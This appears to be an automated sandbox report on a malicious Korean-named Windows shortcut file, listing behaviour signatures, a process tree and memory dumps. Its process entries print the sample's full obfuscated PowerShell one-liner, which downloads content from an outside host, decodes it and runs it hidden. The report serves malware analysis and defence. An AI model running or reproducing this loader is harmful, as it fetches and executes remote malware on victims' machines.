Analysis

  • user interaction
    yes
  • max time kernel
    298s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 04:28

General

  • Target
    통역의뢰.lnk
  • Size 81KB
  • Sample261113-e31p6af17k
  • SHA256 674e43840b05bb57600e6bdaae8e9ae559527f952769f72e77e081cec4fffd1a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\통역의뢰.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\SysWOW64\cmd.exe" /c start /min powershell -windowstyle hidden $in='z9sgz5[Systemz6Textz6Encoding]z2z2UTF8z6GetString([Systemz6Convert]z2z2FromBase64String([regex]z2z2Match((Newz0Object z0TypeName Systemz6Netz6WebClient)z6DownloadString(z1hz8tpsz2//notepalz6me/share/wf6l5jldurfs9jmz1),z1(z3z4z5JOng)(z6z7z3)(z3z5HHKK)z1)z6value));iex z9sg';$al=45,39,58,63,60,61,46,42,116,36;for($po=0;$po -lt 10;$po++){$a=[char]$al[$po];$in=$in.replace('z'+$po,$a)};iex $in
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden $in='z9sgz5[Systemz6Textz6Encoding]z2z2UTF8z6GetString([Systemz6Convert]z2z2FromBase64String([regex]z2z2Match((Newz0Object z0TypeName Systemz6Netz6WebClient)z6DownloadString(z1hz8tpsz2//notepalz6me/share/wf6l5jldurfs9jmz1),z1(z3z4z5JOng)(z6z7z3)(z3z5HHKK)z1)z6value));iex z9sg';$al=45,39,58,63,60,61,46,42,116,36;for($po=0;$po -lt 10;$po++){$a=[char]$al[$po];$in=$in.replace('z'+$po,$a)};iex $in
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1944

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1944-3-0x0000000073C12000-0x0000000073C13000-memory.dmp

        memory/1944-4-0x0000000004D50000-0x0000000004D86000-memory.dmp

        memory/1944-5-0x0000000073C00000-0x00000000743BC000-memory.dmp

        memory/1944-6-0x0000000005500000-0x0000000005B4A000-memory.dmp

        memory/1944-7-0x0000000073C00000-0x00000000743BC000-memory.dmp

        memory/1944-8-0x0000000005350000-0x0000000005372000-memory.dmp

        memory/1944-10-0x0000000005460000-0x00000000054C6000-memory.dmp

        memory/1944-9-0x00000000053F0000-0x0000000005456000-memory.dmp

        memory/1944-13-0x0000000005B50000-0x0000000005EAB000-memory.dmp

        memory/1944-14-0x0000000006040000-0x000000000605E000-memory.dmp

        memory/1944-15-0x0000000006080000-0x00000000060CC000-memory.dmp

        memory/1944-16-0x00000000078A0000-0x0000000007F1C000-memory.dmp

        memory/1944-17-0x00000000065C0000-0x00000000065DA000-memory.dmp

        memory/1944-19-0x0000000073C00000-0x00000000743BC000-memory.dmp